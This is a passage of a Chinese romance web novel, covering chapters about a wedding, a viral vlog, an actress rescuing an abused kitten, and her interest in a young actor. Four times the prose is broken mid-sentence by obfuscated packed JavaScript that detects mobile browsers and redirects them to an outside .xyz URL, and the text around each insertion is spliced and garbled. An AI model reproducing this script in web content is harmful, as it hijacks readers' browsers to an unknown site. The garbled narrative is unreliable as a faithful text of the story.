许伽宁没跟过去一起闹新郎,站在边上看着大家逗蒋昀,一会儿让他做俯卧撑,一会儿又让他玩保鲜膜。 今天蒋昀的造型是重点保护对象,这等酷刑就只好由伴郎团来替他承受。 被选中的倒霉小伙被保鲜膜撑得面目全非,大家笑得前仰后翻,连摄像老师拍的画面也全是抖的。 女生们起哄让蒋昀唱歌,不然不放人。蒋昀接过乐手的吉他,又弹又唱,程柚差点哭花妆。 本来还有找婚鞋的环节,没出息的程柚等不及,帮蒋昀作了弊。 接亲仪式结束,众人移步婚礼现场。 音乐不停,鲜花不断,一路跟随人群。 大家围成一团,由程柚和蒋昀领路,跟着节奏鼓点跳舞,一帮年轻人又疯又闹前往草坪。 许伽宁是真玩进去了,拉着伴娘团小姐妹的手欢呼热舞,完全顾不得形象。 喘息之间,她神使鬼差瞥了眼站在另一边的宋时冕。 男生跟着一块儿晃动,身姿挺拔帅气,眉眼间都是散漫不羁的笑意,浅浅的酒窝在阳光下分外刺眼。 少有的生动。 穿过花园就到了草坪。 这一刻,高朋满座,掌声雷动,立刻将高昂的气氛再次推向了高.潮。 婚礼正式开始,新人入场,双亲致辞,宣读誓言,交换信物。 一切都有条不紊地进行。 忽然,曲风突变,鼓点加快,激情动感。 程柚拖着裙摆已经跳起来,蒋昀拉起宋时冕,后者一个踉跄下意识一起拽走了许伽宁,紧接着伴郎伴娘们围上来,跳起他们排了几个小时的舞蹈。 两位新人极其投入,完全沉浸在自己的舞蹈中,宋时冕站在旁边,偷看两边人的动作,最后索性丢下沉重的偶像包袱,开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669695|173098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始编舞。 年轻的男女随机结伴,乱踩舞步。 这一刻,就像是来到了浪漫电影的大结局。 无人机在草坪上空盘旋,程柚拉着蒋昀朝镜头挥手。 许伽宁跳到宋时冕身边逗他,优雅行了个王子礼,笑眯眯道,“亲爱的公主殿下,赏个脸呗。” 一曲终罢,喧嚣归于平静。 婚礼也接近尾声,程柚吆喝大家去抢捧花。 她站在喷泉边上,拿着捧花的手高高举过头顶,扭头看了眼人群末尾的许伽宁,朝她眨眨眼。 下一刻,花束在阳光下划出弧度,许伽宁慌忙伸手的瞬间,黑色西装突然从她的侧上方横插进来。 大家的视线跟着花束移动轨线,倏尔看清情况后爆发出巨大的哄笑。 “我的捧花!”许伽宁眼睁睁地看着那只骨节分明的手截住花束,粉色绸带在他的手里簌簌飘动。 身姿挺拔的男生逆着光,五官笼罩在淡淡的阴影里。日光热得发烫,他眉尾上挑,笑得肆意嚣张,深邃的眼睛定定看着她。 他声音不大,但许伽宁听得很清,“这次让给我,行不行?” * 程柚和蒋昀的婚礼vlog火了。 刚发布的第一天,播放量就破了五十万,一度冲上了抖音头条。 评论区的讨论点也是五花八门。 【柚子一定要幸福啊!】 【哭了,有种电影大结局既视感。】 【这是可以说的嘛,就冲这个跳舞我想结婚。】 【难道只有我的关注点在许伽宁和宋时冕身上吗?柚子他们居然和他们认识,有种梦幻联动的感觉。】 【本人高中和他们是同校,许宋两家从小就认识,他们四个人高中的时候就玩的很好,只不过后来许伽宁出国了。】 【对对对,我作证。而且宋时冕高中比现在还拽,但是他成绩好,老师都拿他没办法的那种。】 【果然拽王从小就拽。】 【(一种植物),这不是青梅竹马照进现实吗?】 【原来许伽宁那天在机场,是要去参加朋友的婚礼。】 【宋时冕和许伽宁的互动好有爱好自然!从来没见过宋sir这么温油的一面。】 程柚乐呵翻着评论,看到好玩的、说许伽宁的直接截图发给本人。 程柚:【哈哈哈哈哈,我就说吧,但凡知道你们关系,很难不磕的好不好!】 -【你知道我等这一天有多久了吗?】 -【你说宋大少爷看见了会怎么想,一整个期待住了。】 手机上方不断弹微信消息,正在抖音冲浪的许伽宁不想理会这位新婚妇女的调侃。 许伽宁:【新婚第二天,还有精力放在其他事情上。】 -【是不是你们家蒋昀不行啊。】 程柚:【我靠,我发现你现在跟宋时冕越来越像了。】 -【特别是那张淬毒的小嘴。】 -【以后你跟别人接吻,算不算谋杀?】 许伽宁回了个小人儿丢狗屎的表情包给她。 福至心灵,她打开搜素引擎输入“程柚婚礼”。界面跳转,她目的明确点开评论区,果然如程柚所说。 一半在送祝福,一半都在cue她和宋时冕。 指尖飞速滑动,直至一条评论让她刹住车。 【没人发现吗!2分38秒钟!宋时冕你小子!他们绝对不单纯!!!】 14. 渐近 评论的时间点标蓝,点击后视频直接跳转到2分38秒。 是许伽宁跳舞的片段。 当时大家玩嗨了,又是喊solo又是喊battle,大家就自动分成两拨。 最先自告奋勇的是一个舞蹈博主,他跟着音乐热舞,丝滑的地板动作引得现场尖叫连连。 另一拨人互相大眼瞪小眼,谁也不往前走一步。 “我来!”许伽宁在人堆里举手,侧身出来走到阵前。 尽管她今天穿的是伴娘裙,长裙齐脚踝,但她面上完全不怵,反倒写满自得。 她弯腰拎起一侧裙摆,肩膀绷直,右手从身侧抬起,捻起指尖,微抬下巴,纤长雪白的脖颈漾起柔美的弧度,凸起的肩胛骨像是欲振的翅膀。 ——经典的拉丁舞预备姿势。 她起舞。 长裙绽放如花朵。 双颊绯红,发丝飞扬。 没有刻意控制的表情管理,没有精度完美的舞蹈动作,一切自然随性的像是偶然闯入一场森林聚会,她来了兴致便乱踩舞步。 其实她根本不会跳拉丁舞。 只是看别人跳过。 这会儿完全是在瞎跳。 舞罢,她憋不住了,仰头眯起眼睛,笑得肩膀耸起。 周围人起哄叫好,她有样学样,双手拢在嘴边叫喊,隐入人群。 宋时冕安静地看完全程。 可他望向她的眼神,炙热坦诚,澄净清澈,像是燃了一片不曾有人踏足过的荒原。 寂静,却热烈。 * 在老家呆了一个多星期,秦若兰看着整日瘫在家里的许伽宁,都忍不住发问。 “你没有工作的吗?” “你是不是过气了?” “我马上都要开学了你怎么还闲着?” 得,她走就是了。 回淮北的第二天,许伽宁没闲着,盯着挂墙上的羽毛球拍手痒,上微博看了眼球友的IP属地,就去微信摇人。 许伽宁:【球否?】 对面沉默。 许伽宁:【图片】 一筒全新的、未拆封、整整12只的羽毛球。 对方秒回。 仅一个表情包。 放激光的奥特曼眼里都是对友情的渴望:报告!我想打羽毛球! 两人到了球馆,火速找人拼了场双打。 抽了两个小时球后,许伽宁右边胳膊离家出走,跟对面两个比手势,“不打了不打了,胳膊明天估计要抬不起来了。” 温沅扯脖子上的毛巾擦汗,“我都说了,你站前面不用管。” 温沅是许伽宁的固定球友,有时出差在同一座城市还能一块儿约个球。 许伽宁:“瞧不起谁呢?我是累了,不是废了。” “回去养伤吧你。” “那你怎么回去,你开车过来的吗?” 这个羽毛球馆就在许伽宁小区附近,她今天走路来的,但温沅家离这还挺远的。 “没开。” “那我帮你打个车?” “不用,你先走吧。” “没事,跟我还客气?” “真不用了,你回去吧。” “你这就没意思了,别跟姐妹客气啊。” “我老公来接我~” 许伽宁:“......” 好好好。 八月底的淮北,夏夜将近的空气里,风已带凉意,像是一杯欲凉未凉的淡茶。 这一片不如市中心繁荣,但烟火气十足。附近有座大学城,到了晚上夜市开摊,路上全是大学生。 许伽宁素面朝天不施粉黛,头发被绑成高马尾,背着球拍,脸颊因高强度运动气血色很足,完全一副学生模样。她混进人群,随机找了个三轮车摊位,要了两根淀粉肠,拐进公园小路美滋滋地啃肠。 公园亮着路灯,仰头能看见蚊虫绕着灯泡做有氧,健身器材附近随机掉落几个爷爷奶奶,偶尔会有夜跑的人唰得一下经过许伽宁,只留下一阵局部风。 两根淀粉肠下肚,她心满意足,拎着两根竹签找垃圾桶。 这年头在外面找个垃圾桶,堪比是在星露谷找隐藏彩蛋。 ——都得借助外力。 她原地站定,打开小红书搜“天星区海池公园垃圾桶”。 小红书简直就是百度般的存在。 还真被她找着了,公园正门,跟她家顺路。 又走了一段,一抹亲切的红蓝绿黑配色钻进视线。她走近,像丢烫手山芋般把竹签丢掉。 舒坦了。 刚准备抬脚走,就隐约听见很细小的猫叫声。这本不是什么稀罕事,公园里有流浪猫再正常不过。 可这叫声实在是撕心裂肺。 明明音量不大,但声声戳人心窝子。类似受潮的火柴划不着的嘶哑,断断续续的喵呜声卡在喉咙里,像是生锈的发条玩具。 听位置,是从垃圾桶里发出来的。 许伽宁原地定住,她转了转脑袋,四下无人,只有公园门口马路上飞驰而过的车辆。 她跨步上前,伸头,对上一只琥珀色的瞳孔。 ——刚修剪下来的树枝下掩着一只幼小的猫,它趴在一只铺满垃圾的尿素袋上,蚊虫乱飞,尿素袋旁边躺着许伽宁刚刚丢掉的竹签。 小猫脊背弓成锯齿状,露出半只溃脓的耳朵,碎玻璃嵌进它后腿的皮肉,粉肉表面爬满虫子。这还不是最严重的,更让人触目惊心的是它背上粘着的粘蝇纸,有着极强粘性的纸张和小猫的毛粘在一起,严丝合缝,只有边角被灰尘蹭得失去粘性,翘起时还残留着猫毛。 密密麻麻的胶痕黏在身上,每动一下就连皮带肉扯起,小猫前爪徒劳地挠着空气,呜咽声卡在喉咙里,不上不下。 不像是小猫自己误打误撞粘上的。 倒像是有人恶意弄的。 许伽宁没养过猫,但也的的确确是枚小红书资深云养猫用户。 装作没看见是不可能的。 如果是十五岁的许伽宁,兜里没两个钱的她可能会有心无力地离开,但现在地她,是有能力的。 夜幕渐浓,小猫羸弱的叫声几近油尽灯枯。许伽宁放下球拍,想用身上的外套先把小猫抱出来。 但这样的情景,她也只在网上见过,一时之间,她拿着衣服的手有些束手无策。 “让我来吧。”身边蓦然响起一道温和,却又带着些稚气的声音。 许伽宁侧首看了眼提出建议的男生,没有立刻答应他。男生见状,继续说道,“我养过猫,知道怎么抱不会弄疼它们。” 小猫骤然发出一声微弱但尖锐的惨叫,他没等许伽宁回答,兀自拿走她手里的衣服,“信我吧,这只猫伤得很重,当务之急应该先送它去救治。” 男生绕到垃圾桶的后面,用外套裹住手掌,拨开树枝和碎玻璃。他动作极轻,刚碰到它时,一团颤抖的温热突然咬住他另一只露在外面的手——没破皮,像是被蒲公梗扎了一下。 许伽宁一直紧张地盯着,此刻忍不住惊呼,男生没多大反应,嘘了声示意她噤声。 越轻弱的动作越耗体力,男生额头开始冒汗。 小猫浑身颤抖,他托住它身体的手隔着布料都能感到粘腻,血和泥垢在淡蓝色外套上凝成暗红的漆。 小猫被抱出,小小一团缩在男生怀里瑟瑟发抖。许伽宁见不得这种场面,看得她自己身上也隐隐发痛。她打开手机搜附近的宠物医院,就听见男生说,“我知道这附近的宠物医院在哪,姐姐你能帮我打个车吗?” 他抬了抬手里的小猫,示意他现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大金毛失落地耷拉下尾巴,泄了气靠在椅背上,“我们之前在《洛京传》的片场见过,我跟你还有过对手戏。” “你是鸿玉?”被许伽宁堆在角落的记忆扒拉出来。鸿玉是男主的手下,也是贯穿整部戏的一个角色,他说的对手戏正是许伽宁被主角团揭穿真正面目的那场。 卢星洲点点头,嘴角飞扬,从各个角度都能感受到他的兴奋。 整个过程像是在逗狗,许伽宁乐得不行,适时给个枣,“你是演员啊,怪不得长得这么好看。” 她低头想笑,蓦然瞥见男生书包上的挂件,她伸手就要去抓,“原来你是我粉丝啊。” 他书包上的是一个银色镭射亚克力挂件,印的是许伽宁的Q版头像。 “对不起!我是怕你误会,所以才没有直接说的,我真的没有别的意思!”男生着急起来,梗着脖子红着脸解释。 许伽宁见他找补的样子,唇角勾起,语气认真,“谢谢你的喜欢。”医院走廊上的白炽灯映在她眼睛里,明媚清亮。 卢星洲没了刚才在公园时强装的镇定,整个人晕乎乎,一晚上时不时就被许伽宁夸一句,现在还直接在偶像面前掉马。 他皮肤白,害羞泛红时特别明显。这会儿人已经害羞到缺氧,偏偏还被偶像直勾勾地盯着。 这谁遭得住啊。 他想叫救护车了。 许伽宁:“你现在大几啊?多大了?” “大二,十九。” 这回轮到许伽宁想叫救护车了。 大二...... 十九..... 她这算不算老牛吃嫩草? 15. 渐近 小猫情况棘手,光是身上的粘蝇纸,医生就花费了很久。处理完身上大大小小的伤口,已经几近十点。 “小猫要住院,它身上的伤很严重,像是人为。” 这种人虽然很难正面遇到,但不得不承认,生活中有很多。往往都是些天生恶趣味或是生活失意的人,想去找发泄点,但是又不敢去触碰法律的界线,只能寻些弱小的人和物去宣泄。 顿时许伽宁就窜了火,罕见地爆了句粗口,“这都是什么人啊,虐待动物就应该去坐牢!” 卢星洲叹了口气,问医生,“老徐,那它应该没什么大碍吧。” “不好说,得再观察两天。” 许伽宁:“我给您留笔钱,你看着扣,不够再联系我,总之一定要治好它。” 莫名地,许伽宁很在乎这只猫的死活。或许是因为这是她人生中遇到的第一只和自己有关系的猫,她希望它能活下来。 医生走后,卢星洲拍拍她的肩膀,安慰道,“老徐的技术你就放一百个心吧,我们学校大大小小的猫都是他给治好的。” “你们在做什么?” “你们”同时朝门口说话的人投去目光。 “宋时冕?” “宋师哥?” 宋时冕受刚下飞机的陈枫所托,来这里接他的爱狗“罐头”,结果牵着狗出来,迎面就撞见二人的行径。 “许伽宁。”他牵着狗走到他们面前,视线定在她背后的球拍上,又垂眼盯着卢星洲手里的衣服,脸色意味不明,抬着下巴懒散一点,“你手受伤了?” “没有啊。”打个球而已,她还不至于把手给弄伤。 “好白好肥的萨摩耶啊。”一见到毛茸茸她就忍不住变成夹子,她蹲下一顿狂撸,“宝宝你好可爱啊~” 一旁的卢星洲笑得灿烂,“毛看上去好顺,狗主人很用心。” 像是和谐的一家三口。 俊狗靓女,和丑男。 宋时冕拽了拽狗绳,让狗远离这两人,并再次开始忧郁,不同的是这次是带着冷笑忧郁,“我家狗不喜欢被人摸,对人过敏,特别是年纪小的。” 刚准备伸手又收回的卢星洲:“?” 迷茫看了看自己手的许伽宁:“?” 吐着舌头疯狂摇尾巴的罐头:“?” 这人又发什么癫? 宋时冕不再和许伽宁说话,朝卢星洲抬了抬下巴,语气瞬间染上一股前辈讨伐晚辈的味道,“这个点你怎么在这?宿舍现在不查寝了吗?” 一晚上见到两个偶像的卢星洲看不懂他们的针锋相对,只觉得自己是世界上最幸福的小孩,“刚刚在公园和...许老师捡到一只猫,就送过来了。” 完全一副学生回答老师问题的样子,许伽宁笑意渐浓。 宋时冕极其刻意地咳了一声,似乎对这个称呼很满意,敷衍一笑后又迅速恢复原先的面无表情,“别什么猫都往回捡,小心猫面兽心。” 卢星洲没听明白,但也没反驳,只是愣愣点了两下头。 忍无可忍的许伽宁仰头看他,反驳道,“你又懂了,你又知道了,能不能别成天对着别人装深沉。” 一副护犊子的样儿。 宋时冕脸色更难看了,他张口还想说点什么,蓦然被电话声打断。 陈枫的声音从听筒传来,“喂老宋,我人回来了,罐头呢?我想我们家罐头想疯了。” 宋时冕低头看着舌头就没收起来过的傻狗,以及它身上两只很碍眼的手,一肚子气终于找到出气口,他没好气地说道,“急什么,怕你们家傻狗跟别人跑了还是急着跟你家狗拜堂?” 刻薄就算了,攻击力更是强得没边。 许伽宁都忍不住替电话那边的人默哀。 陈枫:“我靠狗东西,我家罐头是公的!老子铁直!不对,老子喜欢人!!” 临走前,他狠狠在两人身上盯了个来回,冷哼一声,拽了拽狗绳,“走了祖宗,带你回去找你狗爹。” 宋时冕走后,卢星洲忍不住问道,“你和宋老师很熟吗?” 尽管很不想承认,但许伽宁终归还是没说谎,“就一便宜发小。” 她也回问一个同样的问题,“那你们熟吗?” “说来也巧,宋老师跟我一个公司的,还是一个大学的,不过专业不一样。” 许伽宁喃喃说道,“人和人的差距怎么大呢?” 宋时冕比许伽宁早回来了快一周,回来后他没日没夜地把堆积的工作干完,趁着陈枫出差好好给自己放了个小假。几天没出门的宋大少爷就着还不错的心情,勉为其难替陈枫跑了回腿,结果转头发现自己家被偷了。 听到门口叮铃咣铛的声响,房间里的陈枫扯着嗓子叫道,“你动静能不能小点?” “吵着你偷情了?”宋时冕解开狗狗身上的绳子,拖鞋都懒得换踩着袜子直接进屋。 “嘶,你吃枪子儿了,这么冲。” “吃的还是意大利炮。”他懒懒应了声,直奔沙发,碰到沙发的瞬间也是他失去骨头的瞬间,整个人像一滩液体粘在沙发上。 陈枫闻着味儿出来,一脸新鲜,“这就是被意大利炮轰了的战损版宋时冕吗?” 宋时冕手里捏着电视遥控器频繁换台,每一个台都等里面的人说一句话就切,乐此不疲,结果下一个台正好是《洛京传》的重播。 85寸的大屏幕上赫然跳出卢星洲的脸。 这一段是宋时冕饰演的大理寺少卿莫崇偶见曾经的白月光跟她现在的丈夫恩爱的场景,卢星洲饰演的鸿玉站在一边,一脸好奇且纯良地说着台词,“少卿是吃醋了吗?” 跟他今天见到的表情一模一样。 “吃意大利炮”的这位两眼一黑,毫不犹豫地暗灭电视,眼神幽幽,斜了陈枫一眼,随即放下遥控器,稀罕地起身挪窝,“您坐。” “你去哪儿?” 他声线平坦,语气清凉,“给你做饭。”八月酷暑,莫名让人感到股凉意, 陈枫一惊,上次这少爷进厨房,楼上的住户直接打电话报警,说怀疑他们家楼下在非法爆破。 他跟过去,求爷爷告奶奶地劝人,“我靠,大半夜你做什么饭啊,你又想炸厨房啊?兄弟不饿,你三思啊。” 宋时冕握着菜刀,在大理石岛台边缘磨刀,皮笑肉不笑,“给个面子,饿一下。” * 从医院到公园两人顺路。早已入夜,但两人走在路上着实打眼,回头率拉满。 卢星洲把挂在书包肩带上的帽子戴在许伽宁头上,“戴着吧。” “谢谢。” 马路两边栽满梧桐树,风把叶子吹得沙沙作响,路灯将两人的影子拉长拉短。男生攥着肩带想赶紧找个话题打破沉默,却听见女生率先开口。 “那等小猫治好了,它会去哪?” “我会以协会的名义给它找收养的人家,但它的伤很严重,品相不好,短时间内被收养应该会有些困难。” 这只猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693164|173098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的毛和尾巴都有程度不一的伤口,养伤还需要开销,而且很难保证后续没有其他并发症。大多数流浪猫都很怕生,到了新环境也需要很长一段时间来适应。 许伽宁抿着嘴,小猫缩成一团发抖的画面还历历在目。她没有说话,低头沿着砖缝走,很认真,仿佛缝隙之外都是岩浆。这是她小时候经常和宋时冕玩的游戏,他们家门口的路都是一块块青砖错位堆砌成的,比这条路难走多了,但宋时冕从来没有赢过她。 “不过你也不用太担心,等它出院我会先把它养在学校。”卢星洲慢慢跟着许伽宁身后,看她小心翼翼地走“钢丝绳”,“不会让它再流浪了。” 适时,许伽宁转身,双手背在身后,问道,“行,我信你。”她看了眼手机时间,想起刚才宋时冕说的话,“这么晚了,你们宿舍应该关门了吧。” 她虽然没上过大学,但也有所耳闻国内大学严格的寝室规则。 男生抬手看腕表,“没事,我们宿管阿姨是我一个社团团长的妈妈,跟我关系可好了,到时候撒个娇求个情就行了。” 许伽宁听他说这些觉得有趣,一下子来了兴趣,“你说的那个流浪猫协会也是你们学校的社团吗?” “不是,那是我们学生私底下自己组织的。我们学校流浪猫很多,基本上都没有绝育。我们就会自发办一些爱心拍卖,把我们闲置不用的东西卖掉,赚的钱就给它们买猫粮,带它们去绝育,就在刚刚那所宠物医院。” 一说到小猫,卢星洲不自觉地就话多了,给许伽宁讲学校里的小猫,“这只叫阿花,特别懒但很聪明,总是在我们上学的路上晒太阳,路过的学生看到就忍不住去投喂它。还有这只......” 走到公园门口后,许伽宁主动向人要了微信,说是以后还外套给她会方便一点。 卢星洲像捣蒜似的点头,结果把手机掏出来,按了好几次都黑屏。他无措地抓了抓头发,嘴角绷直,说话都磕巴起来,“我手机没电了......” “你带笔和纸了吗?” “带了!”他撒下书包开始翻找,最后找得满头大汗也只孤零零地拎着笔在手上,“......只有笔。” 许伽宁歪头看着他,朝他咧了个笑,拿走笔,“有笔就行了。”说着,抓起男生的胳膊,拔下笔帽直接在他的小臂内侧上落笔。 尖锐的鼻尖落在皮肤上又疼又痒,所以许伽宁力度很轻,只剩下痒了。 冰凉的手在自己手上轻蹭,卢星洲感觉自己身上像住进了一只上蹿下跳的兔子。男生红着脸,头根本不敢地下,他绷直肩背,脑袋转到另一边,除却那只胳膊整个人跟站军姿一样。 11个数字,卢星洲感觉她写了一个世纪。 “好了,我的电话号码。”她盖好笔帽,用笔尾轻点数字周围泛红的数字,“不要告诉别人。”她朝他眨眨眼睛,似笑非笑。 “好,好的。”面前的大金毛尾巴就没停下来过,许伽宁一下子还真没法在他和刚刚那只萨摩耶之间评选出谁更可爱。 “走了,小猫的事情我们微信联系。”许伽宁将笔塞进他书包侧边,拽了拽背上的球拍的肩带,倒退几步同他挥手告别,然后转身过了马路,高高的马尾随着她的动作在后面荡啊荡,像是被春风吹起的柳条。 卢星洲悬着胳膊看了好久。 入秋的深夜,许伽宁却觉得一颗心沸腾到滚烫。进了小区,她编辑了条消息给程柚。 许伽宁:【柚子,我想谈恋爱!!!】 16. 渐近 “真的假的?我认识你这么多年,我都不知道,你居然喜欢弟弟?”听完许伽宁说完今天晚上发生的全部事,程柚不免觉得魔幻。 “我骗你干嘛,长得贼阳光,像只大金毛。”许伽宁洗了澡,和程柚煲起了视频电话粥。 “我怎么感觉你喜欢的是狗不是人啊,或许你养只金毛效果是一样的?” “不,我肯定是喜欢他的,你都不知道,他好容易害羞,我一说点不正经的他就脸红。我现在年纪大了,真遭不住这种!”说得实在太激动,许伽宁脸上的面膜都皱起来,她又对着手机整理面膜。 “嘶,有照片不,我看看啥样。” “有,我给你找,你等等啊,说不定你还认识。”许伽宁去微博搜“卢星洲”,随手保存了两张照片发过去,有一张还是半.裸的。 “我靠,尤物啊!年轻貌美的弟弟啊啊啊啊!”程柚直接摘了眼镜,激动地开始吟唱,“我看过他跟宋时冕那部剧,当时就被他给圈粉了!” “鬼知道我今天在人家面前装的有多淡定,多正经。” 程柚:“男大欸,宁宁你捡着个好的了!谈!!给我狠狠谈!!!” “而且你知道有多巧吗,他跟宋时冕同一个公司、同一个大学。” “那你们这要是真成了,你是不是还得随人家喊宋时冕一声哥,或者宋时冕喊你弟妹。”程柚笑得停不下来,“不管哪种情况,都太地狱了,我想象不出来哈哈哈......” 许伽宁微怔,在脑子里过了一遍画面,随即摇摇头,“别别别,你别说了,我一想到他那张好像全世界欠他五百万的脸就难受,我今天在宠物医院还碰到他的。” “天,这什么修罗场啊。” “他怎么会在那?”程柚笑得猥琐,“那他看见你们俩什么反应啊?” “好像是来接他经纪人的狗。”许伽宁说,“他能有什么反应,反正后来给他打电话的那个人,是撞他枪口上了。”想到那通电话,她又忍不住替那位兄台默哀三秒。 许伽宁:“不提他了。现在已经有了人选,你说,接下来我该做什么?” 虽然说蒋昀高中的时候玩得花,其实也就仅限于牵牵手亲亲嘴。但程柚是名副其实的女海王,大学那会儿隔三岔五就能看到她官宣的朋友圈。 后来,两个海王在一起,大家都觉得他俩不长久,但也许是因为是磁场问题,两个人相互制衡,最后竟然还结了婚。 程柚从床上坐起来,人都精神了,“宝贝,你这就问对人了。” “程老师,您请说。”许伽宁摆出一副好学生的样子,那架势就差做笔记了。 “一定要主动!抓住主动权,这段故事由你开始也同样由你结束。”程柚老神在在,“追到了你就好好享用,追不到你也没有损失。” 许伽宁:“我不是要追人,有没有什么办法可以直接睡到他?” 程柚正在喝水,一口水全喷手机上,“不是,你这么着急?” 她下意识隔空躲了下,“……”是有点着急。” 程柚擦完嘴角又去擦手机,她今天对她这么多年的好朋友刷新了不止一次的新认知,一下子没能缓过来。 顿时,许伽宁在她心里的形象又高大伟岸了些许。 “啧,也不是没有,就是比较冒险。成了你爽,不成你就只能等着身败名裂。”程柚说,“你该庆幸人家成年了,不然你高低得进去个几年。” 许伽宁自动忽略她的劝告,直奔第一句话去,“什么办法?” “给自己创造霸王硬上弓的机会。”程柚顿了顿,叹了口气继续说下去,“好好用你这张脸,迷死他。” 一席话如醍醐灌顶,许伽宁抱拳,“大师我悟了。” * 飘飘前段时间从湘江回了趟家,今天复工。 到了许伽宁家,她神秘兮兮地做咖啡的某人,“咳咳,这里有一个好消息和一个坏消息,你想先听哪个?” 许伽宁睨了她一眼,不按套路出牌,“都不想听。” 她转身去冰箱里找冰块,飘飘跟上,“不听你肯定要后悔的。” “好好好,那先听好消息。” “噔噔!”她像变戏法似的变出一份合同,推到许伽宁面前。 待看清封面的黑字,兴致缺缺的许伽宁眼睛亮起来,“《地平线旅行社》的邀约?!” 飘飘嘴撅得老高,一副邀功样儿,“怎么样,你不是之前说想去吗,机会这不就来了。” 她大致翻了遍合同,仍然处于惊喜之中,“你怎么弄到的?” 许伽宁后来自己也去了解过这档综艺,正如飘飘所说,这个节目国民度很高,开播7季以来,创下平台每集播放量破亿的记录。节目官方微博粉丝量就有一千万,相关话题阅读量累计超180亿,第七季也就是最新一季的冠名费就有3.8亿。 通俗来说就是,这综艺火透了。 “我不是回了趟老家吗,正好赶上我们高中聚会。我才知道,我高中同学现在就在这个节目组里做新一季的艺人统筹,我就直接说了我是你助理。”飘飘忍不住感慨道,“世界真小啊。” “那为什么邀请我,你不是说他们不看自荐的吗?” “这就是我接下来要跟你说的坏消息了。” “你最近在机场那事在网上多大的热度你又不是不知道,他们不会错过这个热点的,而且,”飘飘稍顿,喝了口冰拿铁,“他说节目组上一季就邀请你了,但说你拒绝了,理由是撞档期去不了。” “不可能。” “我当时也这么说了,我们完全没听说过这码子事。” 许伽宁满头黑线,她印象里完全没有这回事。而且傻子都知道这节目的含金量,只有为它推档期的份儿,怎么可能因为档期问题不接这活儿? 她眉头微皱,思索片刻,“是吴曼。” “也只能是她了。” 她的工作是吴曼在安排。去年一整年都是吴曼提前发工作行程,许伽宁老实服从安排。合作联系也是吴曼负责,一般的工作邀约是不可能越过她传到自己这来的。 至于吴曼这么做的原因,她也能猜个七七八八。 两人一度陷入沉默。 片刻后,飘飘率先开口,“那你参加吗?我来之前特地又看了遍你跟华悦签的合同,虽然合同里对你的限制很多,但是综艺这一块没有强行限制,你是有自主选择权的。” “我们自己签,不算违约。” 许伽宁抱臂晃着手里的咖啡杯,嘴角紧绷,眼里泛着锐利的寒意,“去,当然得去。” * “盛星之夜“如期开展,今年许伽宁也在艺人邀请名单之内。 “盛星之夜”是由奇星视频主办的年度娱乐盛典,作为国内影视行业很有名的颁奖典礼之一,它是业内公认的“爆款风向标”。能拿到入场券的,要么是现象级剧集的参与者,要么是平台重点栽培的“嫡系艺人”。 《洛京传》是今年奇星视频S+级重点项目,未播先火,播出之后更是创下平台热度记录,直接提前预定了年度剧集的入围名额。 许伽宁跟着沾了光,才一同被邀请。 许伽宁收到的通知,是让她和卢星洲一起进场。吴曼例行电话通知的时候,语气尽是刻薄和嘲讽,试问哪个出道多年的艺人跟一个初出茅庐的新人分在一起会高兴? 只能说,她耍尽手段刚好撞许伽宁枪口上了。 “飘飘,你说我穿这件显白的还是这件显腿长的?”许伽宁拿着品牌方发来的样图反复对比,“要不让他们都寄过来看看?” “我之前真的以为你是网上说的那种全球只有1%的无性恋者,哪知道你上来就这么猛。我姐不愧是我姐。” 自从去了趟湘江,吃了那顿辣到怀疑人生的串串锅之后,飘飘和程柚就建立了深厚的友谊。那天的邂逅许伽宁还没来得及跟她展开讲,程柚就已经跟她通过气儿了。 “那你有什么计划吗?总不能就这么直接邀请人家吧?” “柚子说了,直接、主动。我这么漂亮,谁不喜欢我啊?”许伽宁朝飘飘抛了个媚眼,试图让她相信她计划的可行性。 法子虽然冒险,但她也没什么好顾虑的。 许伽宁这一组的出场顺序卡在中间。活动当天,卢星洲来接的她。 卢星洲的装扮中规中矩,简练的黑色西服,化了淡妆做了发型,与许伽宁上次见他那副学生模样完全不同。 她脑子突然蹦出一句“将头发梳成大人模样”。 还是带音儿的那种。 卢星洲也的确学着大人模样,在上车时帮她提裙摆,递胳膊,将人稳稳当当地扶上车。 她身上飘着着淡淡的脂粉香,似有若无地萦绕在卢星洲鼻尖。他侧首悄悄打量,工作需求她今日全妆出席,一举一动比那天见到的她还要生动、漂亮。 察觉到他的小动作,许伽宁也不想绕弯子。她知道自己长相的优势,扭头,大方利落地对上他的视线,眉眼弯弯,轻轻说了句谢谢。 听到道谢,卢星洲木讷点头回应。 许伽宁的礼服是浅蓝色的抹胸长款纱裙,头发被碎花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 